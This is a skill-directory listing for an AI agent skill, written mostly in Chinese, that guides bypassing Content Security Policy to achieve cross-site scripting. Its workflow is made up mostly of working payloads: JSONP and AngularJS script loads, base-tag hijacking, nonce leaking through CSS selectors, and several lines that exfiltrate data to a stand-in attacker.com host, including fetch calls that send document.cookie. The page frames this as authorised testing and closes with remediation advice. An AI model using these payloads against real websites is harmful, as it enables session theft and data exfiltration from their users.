performing-content-security-policy-bypass

通过利用错误配置、JSONP 端点、不安全指令和策略注入技术,分析并绕过内容安全策略(CSP)实现,以实现跨站脚本攻击。

9 stars

Best use case

performing-content-security-policy-bypass is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

通过利用错误配置、JSONP 端点、不安全指令和策略注入技术,分析并绕过内容安全策略(CSP)实现,以实现跨站脚本攻击。

Teams using performing-content-security-policy-bypass should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-content-security-policy-bypass/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-content-security-policy-bypass/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-content-security-policy-bypass/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-content-security-policy-bypass Compares

Feature / Agentperforming-content-security-policy-bypassStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

通过利用错误配置、JSONP 端点、不安全指令和策略注入技术,分析并绕过内容安全策略(CSP)实现,以实现跨站脚本攻击。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行内容安全策略绕过(Performing Content Security Policy Bypass)

## 适用场景
- 发现 XSS 漏洞但执行被内容安全策略(CSP)阻止时
- 在 Web 应用程序安全评估期间评估 CSP 有效性时
- 测试 CSP 对已知绕过技术的健壮性时
- 在 CSP 阻止直接 XSS 利用的漏洞赏金猎人场景中
- 审计 CSP 头配置中的安全弱点时

## 前置条件
- Burp Suite,用于拦截响应和分析 CSP 头
- CSP Evaluator(Google),用于自动化策略分析
- 了解 CSP 指令(script-src、default-src、style-src 等)
- 掌握 CSP 绕过技术知识(JSONP、base-uri、object-src)
- 浏览器开发者工具,用于监控 CSP 违规
- 收集白名单域的 JSONP 端点

## 工作流程

### 步骤 1 — 分析 CSP 策略
```bash
# 从响应头提取 CSP
curl -sI http://target.com | grep -i "content-security-policy"

# 检查 meta 标签中的 CSP
curl -s http://target.com | grep -i "content-security-policy"

# 使用 Google CSP Evaluator 分析 CSP
# 访问:https://csp-evaluator.withgoogle.com/
# 粘贴 CSP 策略进行自动化分析

# 检查 report-only 模式(未强制执行)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# 如果只存在 report-only,CSP 未强制执行 — XSS 可直接生效

# 解析指令值
# CSP 示例:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
```

### 步骤 2 — 利用 unsafe-inline 和 unsafe-eval
```bash
# 如果 script-src 包含 'unsafe-inline':
# CSP 对内联脚本实际上已被绕过
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# 如果 script-src 包含 'unsafe-eval':
# eval() 及相关函数可正常使用
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# 如果带 nonce 的 'unsafe-inline':
# 存在 nonce 时 unsafe-inline 被忽略(CSP3)
# 改为关注 nonce 泄漏
```

### 步骤 3 — 利用白名单域的 JSONP 端点
```bash
# 如果 CSP 将具有 JSONP 端点的域加入白名单:
# script-src 'self' https://accounts.google.com

# 在白名单域上查找 JSONP 端点
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# 常见 JSONP 端点:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# 如果 AngularJS 被白名单(CDN):
# script-src 包含 cdnjs.cloudflare.com 或 ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# 利用白名单 API 上的 JSONP
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
```

### 步骤 4 — 利用 base-uri 和表单操作绕过
```bash
# 如果 base-uri 未受限制:
# 注入 <base> 标签以重定向相对脚本加载
<base href="https://attacker.com/">
# 所有相对 script src 将从 attacker.com 加载

# 如果 form-action 未受限制:
# 通过表单提交窃取数据
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# 如果 object-src 未受限制:
# 使用 Flash 或基于插件的 XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
```

### 步骤 5 — 利用 Nonce 和哈希绕过
```bash
# 通过 CSS 属性选择器泄漏 Nonce
# 如果攻击者可注入 HTML(但因 CSP nonce 无法注入脚本):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# 暴力破解每个字符位置以泄漏 nonce

# Nonce 复用检测
# 如果相同 nonce 跨多个页面或请求使用:
# 从一个页面捕获 nonce,用它在另一个页面注入脚本

# DOM 破坏以覆盖 nonce 检查
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# 白名单库中的脚本小工具
# 如果白名单 JS 库具有创建脚本的小工具:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify 通过原型污染绕过

# 通过反射参数注入策略
# 如果 CSP 头反射用户输入:
# 注入:;script-src 'unsafe-inline'
# 或注入:;report-uri /csp-report;script-src-elem 'unsafe-inline'
```

### 步骤 6 — 在无 script-src 的情况下利用数据外泄
```bash
# 即使没有脚本执行,数据外泄仍然可行:

# 通过 img-src(如果允许外部):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# 通过 CSS 注入(如果 style-src 允许 unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# 通过 connect-src(如果允许外部):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# 通过 DNS 预取:
<link rel="dns-prefetch" href="//data.attacker.com">

# 通过 WebRTC(如果未被阻止):
# WebRTC 可通过 STUN/TURN 服务器泄漏数据
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| unsafe-inline | 允许内联脚本执行的 CSP 指令,使 XSS 保护失效 |
| 基于 Nonce 的 CSP | 使用随机 nonce 允许特定脚本同时阻止注入脚本 |
| JSONP 绕过(JSONP Bypass) | 利用白名单域上的 JSONP 端点执行攻击者回调 |
| 策略注入(Policy Injection) | 通过头部中反射的用户输入注入 CSP 指令 |
| base-uri 劫持(base-uri Hijacking) | 通过注入 base 元素重定向相对脚本加载 |
| 脚本小工具(Script Gadgets) | 可被滥用于绕过 CSP 的合法库功能 |
| CSP Report-Only | 仅记录违规但不阻止的非强制 CSP 模式 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| CSP Evaluator | Google 分析 CSP 策略弱点的工具 |
| Burp Suite | 用于 CSP 头分析和绕过测试的 HTTP 代理 |
| CSP Scanner | 用于识别 CSP 绕过机会的浏览器扩展 |
| csp-bypass | CSP 绕过技术和载荷的精选列表 |
| RetireJS | 识别白名单 CDN 上的易受攻击 JavaScript 库 |
| DOM Invader | 用于通过 DOM 操作测试 CSP 绕过的 Burp 工具 |

## 常见场景

1. **JSONP 回调 XSS** — 利用白名单 CDN 域上的 JSONP 端点执行包含 XSS 载荷的 JavaScript 回调
2. **AngularJS 沙箱逃逸** — 从白名单 CDN 加载 AngularJS 并使用模板注入绕过 CSP 脚本限制
3. **Nonce 泄漏** — 通过 CSS 注入或 DOM 破坏提取 CSP nonce 值以注入具有有效 nonce 的脚本
4. **Base URI 劫持** — 注入 base 元素将所有相对脚本加载重定向到攻击者控制的服务器
5. **Report-Only 利用** — 识别处于 report-only 模式的 CSP,其中违规被记录但不被阻止,从而启用直接 XSS

## 输出格式

```
## CSP 绕过评估报告
- **目标**:http://target.com
- **CSP 模式**:已强制执行
- **策略**:script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP 分析
| 指令 | 值 | 风险 |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | 可能通过 JSONP/库绕过 |
| default-src | 'self' | 中等 |
| base-uri | 未设置 | 可能被 base-uri 劫持 |
| object-src | 未设置(回退到 default-src) | 低 |

### 发现的绕过技术
| # | 技术 | 载荷 | 影响 |
|---|-----------|---------|--------|
| 1 | 通过 CDN 加载 AngularJS | 加载 angular.min.js + 模板注入 | 完整 XSS |
| 2 | 缺少 base-uri | <base href="https://evil.com/"> | 脚本劫持 |

### 修复建议
- 移除白名单 CDN 域;使用基于 nonce 或哈希的 CSP
- 添加 base-uri 'self' 防止 base 元素注入
- 添加 object-src 'none' 阻止基于插件的执行
- 从 unsafe-inline 迁移到严格的基于 nonce 的策略
- 为现代 CSP3 浏览器实施 strict-dynamic
```

Related Skills

triaging-security-incident

9
from killvxk/cybersecurity-skills-zh

使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初始分类,确定严重性、范围和所需响应行动。 按类型对事件分类,根据业务影响分配优先级,并路由到相应的响应团队。适用于事件分类、 安全告警分类、严重性评估、事件优先级排序或初始事件分析等请求场景。

triaging-security-incident-with-ir-playbook

9
from killvxk/cybersecurity-skills-zh

使用结构化 IR Playbook 对安全事件进行分类和优先排序,确定严重性、分配响应团队并启动适当的响应程序。

triaging-security-alerts-in-splunk

9
from killvxk/cybersecurity-skills-zh

在 Splunk Enterprise Security 中对安全告警进行分类,通过 SPL 查询和事件审查(Incident Review) 仪表板对重要事件进行严重性分类、调查、关联相关遥测并做出升级或关闭决策。 适用于 SOC 分析师需要处理关联搜索产生的告警队列、确定调查优先级, 或需要为交接给二/三级分析师记录分类决策时。

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-api-security-with-owasp-top-10

9
from killvxk/cybersecurity-skills-zh

使用自动化和手工测试技术,针对 OWASP API 安全 Top 10 风险对 REST 和 GraphQL API 端点进行系统性评估。

performing-yara-rule-development-for-detection

9
from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

9
from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

9
from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

9
from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

9
from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。